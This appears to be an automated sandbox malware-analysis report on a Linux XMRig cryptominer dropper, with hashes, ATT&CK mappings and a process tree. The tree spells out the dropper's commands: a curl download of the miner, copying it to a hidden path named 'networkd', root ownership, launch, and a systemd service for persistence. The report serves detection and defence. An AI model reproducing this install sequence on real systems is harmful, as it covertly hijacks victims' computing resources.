xmrig_linux | 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Analysis

max time kernel
17s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/08/2026, 23:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
Size 6KB
Sample260831-285bvsaf37
SHA256 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
MD5 dd597326da3d8496e2e4ce32a09b4490
SHA1 81a8cf651553a76b3441e59a9f910e560b85d83f
SHA512 3ab8d75eeebbbfdb64da5adf1c336e9462bc4a2510ef263d9218ade19e6a6c7b8e16139995571025c6243452b8e992416935b9d71a9d667a4b91620bf0fde7b3
SSDEEP 192:xcrMMtAvPkfp3plZ4/7d8w73osYfGVkYC0d0C:G1Rm/ZMfG/
TLSH
T179D1D9C2FC24293232ADD0706F86626DFA2516170D697E58B08D703C376EB99913EBF4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm discovery xmrig_linux miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-3.dat	family_xmrig
behavioral2/files/fstream-3.dat	xmrig

Executes dropped EXE 1 IoCs

ioc	pid	Process
/usr/lib/.cache/networkd	771	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/networkd.service	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/323/cmdline	pkill
File opened for reading	/proc/640/cmdline	pkill
File opened for reading	/proc/667/status	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/274/status	pkill
File opened for reading	/proc/303/status	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/640/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/284/status	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/103/status	pkill
File opened for reading	/proc/274/status	pkill
File opened for reading	/proc/312/status	pkill
File opened for reading	/proc/629/status	pkill
File opened for reading	/proc/644/cmdline	pkill
File opened for reading	/proc/671/status	pkill
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/105/status	pkill
File opened for reading	/proc/579/cmdline	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/274/cmdline	pkill
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/278/status	pkill
File opened for reading	/proc/103/cmdline	pkill
File opened for reading	/proc/135/status	pkill
File opened for reading	/proc/637/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/274/cmdline	pkill
File opened for reading	/proc/631/status	pkill
File opened for reading	/proc/639/status	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/284/cmdline	pkill
File opened for reading	/proc/329/status	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/276/status	pkill
File opened for reading	/proc/329/status	pkill
File opened for reading	/proc/579/cmdline	pkill
File opened for reading	/proc/637/cmdline	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/103/status	pkill
File opened for reading	/proc/276/cmdline	pkill
File opened for reading	/proc/577/cmdline	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/220/cmdline	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/629/status	pkill
File opened for reading	/proc/639/status	pkill

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.Gf1Vvc	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/.nettest.json	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/.nettest.log	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/sh-thd.d1cJew	66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
File opened for modification	/tmp/xmrig.tgz	curl
File opened for modification	/tmp/xmrig-6.26.0/config.json	tar
File opened for modification	/tmp/xmrig-6.26.0/SHA256SUMS	tar
File opened for modification	/tmp/xmrig-6.26.0/xmrig	tar
File opened for modification	/tmp/xmrig	cp

/tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
/tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:640
- /usr/bin/tr
  tr -cd "[:alnum:]-"
  2⤵
  PID:650
- /bin/hostname
  hostname
  2⤵
  PID:649
- /usr/bin/id
  id -u
  2⤵
  PID:654
- /usr/bin/whoami
  whoami
  2⤵
  PID:659
- /bin/hostname
  hostname
  2⤵
  PID:665
- /usr/bin/pkill
  pkill -f /usr/lib/.cache/networkd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:667
- /usr/bin/pkill
  pkill -f /tmp/xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:671
- /bin/sleep
  sleep 1
  2⤵
  PID:674
- /usr/bin/curl
  curl -fsSL -o /tmp/xmrig.tgz https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:679
- /usr/bin/sha256sum
  sha256sum /tmp/xmrig.tgz
  2⤵
  PID:732
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:733
- /bin/tar
  tar xzf /tmp/xmrig.tgz
  2⤵
  - Writes file to tmp directory
  PID:737
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:739
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:739
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:739
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:739
- - /sbin/gzip
    gzip -d
    3⤵
    PID:739
- - /bin/gzip
    gzip -d
    3⤵
    PID:739
- /bin/cp
  cp -f /tmp/xmrig-6.26.0/xmrig /tmp/xmrig
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/mkdir
  mkdir -p /usr/lib/.cache
  2⤵
  PID:761
- /bin/cp
  cp -f /tmp/xmrig /usr/lib/.cache/networkd
  2⤵
  PID:762
- /bin/chmod
  chmod 750 /usr/lib/.cache/networkd
  2⤵
  PID:763
- /bin/chown
  chown root:root /usr/lib/.cache/networkd
  2⤵
  PID:764
- /bin/rm
  rm -rf /tmp/xmrig /tmp/xmrig.tgz /tmp/xmrig-6.26.0
  2⤵
  PID:765
- /bin/cat
  cat
  2⤵
  PID:766
- /bin/chmod
  chmod 600 /usr/lib/.cache/.net.json
  2⤵
  PID:767
- /bin/chown
  chown root:root /usr/lib/.cache/.net.json
  2⤵
  PID:768
- /bin/date
  date "+%s"
  2⤵
  PID:769
- /bin/sed
  sed s/vps-debian9-armhf-20260513-en-11-01/deploytest-1788218172-640/ /usr/lib/.cache/.net.json
  2⤵
  PID:770
- /bin/sleep
  sleep 8
  2⤵
  PID:772
- /usr/lib/.cache/networkd
  /usr/lib/.cache/networkd --config /tmp/.nettest.json
  2⤵
  PID:771
- /usr/bin/tail
  tail -5 /tmp/.nettest.log
  2⤵
  PID:774
- /bin/sleep
  sleep 1
  2⤵
  PID:775
- /bin/rm
  rm -f /tmp/.nettest.json /tmp/.nettest.log
  2⤵
  PID:778
- /bin/systemctl
  systemctl list-units
  2⤵
  - Enumerates kernel/hardware configuration
  PID:779
- /bin/cat
  cat
  2⤵
  PID:780
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:781
- /bin/systemctl
  systemctl enable /etc/systemd/system/networkd.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:794
- /bin/systemctl
  systemctl restart /etc/systemd/system/networkd.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:807

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

networkd.service

Path /etc/systemd/system/networkd.service
Size 413B
SHA256 481c43849ffe965bfa4872016afe3187ae752cdcdc8b5b9f24f09e9029fdd5ad
MD5 cca9c081d53bff817ee8d502d73c91ed
SHA1 65374d6c60fa642536e0b7c37e9bef4edfd48a4c
SHA512 2f7ad52d5e6c12250436a8a7099fac8190d9b8c5e136f022646d6f0a7663a922c6d4d4f2b5f854d0079a0af0de5ebe55f6b29da4c090c0cfd2d694c6aeb6b318
TLSH
T1CBE02B139B2B25B3DA0A3D6889A39B24459051415D8FB8FC6A932BD0B4E1345D039AAD
MD5 SHA1 SHA512 TLSH

Submit Download

.nettest.json

Path /tmp/.nettest.json
Size 836B
SHA256 187282a893e8cb3166b81041b00ead6e5dfa64dafa62ac27e2b1576c22c2da6c
MD5 f4107b4216b7fb9528bba3b1fc0bcec3
SHA1 003afb92a4613f7c5664e0e832591bacb706c32d
SHA512 52d9dd85ae22fd640d2b7088a773ef67f1b8865c29e7785596b0643ecae8515847311d63226f65500563e4bf3d30566f4e01b756b406093e748460b9dd07c564
TLSH
T182012621C8780CB711E4703C54BDA2432B645A4B1DA53E6AB25C662D2F0EB7FE2B26D4
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.Gf1Vvc

Path /tmp/sh-thd.Gf1Vvc
Size 846B
SHA256 bbc85307744f41d1ab09847ebae073ef76bf067fa79dc6585a24c0e99edd7ca7
MD5 235a0175db722491e68f01825d987fbb
SHA1 e88b733f2dbbfc7d46701315b6712d1da869476a
SHA512 4c5871778b9f4957fc3831d0634d4bd733553a3127555bec11691042c7ac6f6881dec0817127885b7f781abfb85522bd99c2120f5e138e810f997d12a22a1ede
TLSH
T197014710C8340DB70194702C54BDA2531B644A4B0DA53E69B25C5A2C2F0EB7EE1B22D0
MD5 SHA1 SHA512 TLSH

Submit Download

SHA256SUMS

Path /tmp/xmrig-6.26.0/SHA256SUMS
Size 150B
SHA256 dfa7c8ebcece392e8ecd4ec56c1e06ff2984068ab81dcada8e65191416be04a9
MD5 791e88a05b74acc879e2bf9379d41fe3
SHA1 44cc4715da1c370d631e20f206f5381d39d835f2
SHA512 3c663ba0667e9c1a95c8a1aa0eb8838488828b628424cbb5d5fa6e98d96a4b87b83e744a1ad0ee7f9acf1d44a43575ab4b70676e448bb7ff7c27511007ac8d3e
TLSH
T1B8C08CB9510D79E3973CD2A5BAF8ACE698012B8A301424109B80886284B56D0D80B828
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path /tmp/xmrig-6.26.0/config.json
Size 2KB
SHA256 a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a
MD5 54e9f45448cfc5c6f2506cf89d771fd5
SHA1 c9de25d2c995d1ba2eda402dbe03c409909b842b
SHA512 d616e929fe91d14976a26e511ec50f8f3520924349d3eb04ab785787224f8cd53ed69ba4978a61e6e7f3b6f4e26a69d7d41b59e31d7339ee250c3ea332bae485
TLSH
T17841AD25C9780CBA0294A0BC88EDA293462881075F593C3CB54C995C2F0E73E76B6BE6
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.26.0/xmrig
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads